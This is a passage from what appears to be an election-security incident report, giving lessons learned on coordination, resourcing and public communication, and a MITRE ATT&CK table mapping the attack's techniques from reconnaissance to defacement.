  5. Multi-agency coordination must be rehearsed, not improvised -- The election night response involved CCBE, county IT, CISA, FBI, state officials, and media. Without pre-established coordination protocols, the response was chaotic. Tabletop exercises with all stakeholders before each election are essential.

  6. Under-resourced election offices need force multipliers -- A 3-person IT team cannot defend against a state-sponsored APT. Election authorities must leverage free federal resources: CISA vulnerability assessments, Albert sensors, Cloudflare Athenian Project, and EI-ISAC membership. These are force multipliers that close the resource gap.

  7. Public communication during election incidents is as important as technical response -- The county's delayed and unclear communications allowed conspiracy theories to fill the information vacuum. Pre-drafted incident communication templates, trained spokespeople, and direct channels to media outlets should be prepared before every election.

MITRE ATT&CK Mapping

Technique ID Technique Name Phase
T1595 Active Scanning Reconnaissance (infrastructure mapping)
T1592 Gather Victim Host Information Reconnaissance (web fingerprinting)
T1589 Gather Victim Identity Information Reconnaissance (staff OSINT)
T1190 Exploit Public-Facing Application Initial Access (SQL injection)
T1110.004 Brute Force: Credential Stuffing Initial Access (poll worker portal)
T1505.003 Server Software Component: Web Shell Persistence (ASPX web shell)
T1059.001 Command and Scripting Interpreter: PowerShell Execution (credential dumping)
T1053.005 Scheduled Task/Job: Scheduled Task Persistence (database trigger)
T1003.001 OS Credential Dumping: LSASS Memory Credential Access (mimikatz)
T1078 Valid Accounts Persistence (stolen poll worker credentials)
T1098 Account Manipulation Impact (poll worker reassignment)
T1565.001 Data Manipulation: Stored Data Impact (voter record + results modification)
T1498 Network Denial of Service Impact (election night DDoS)
T1491.002 Defacement: External Defacement Impact (voter portal defacement)

Cross-References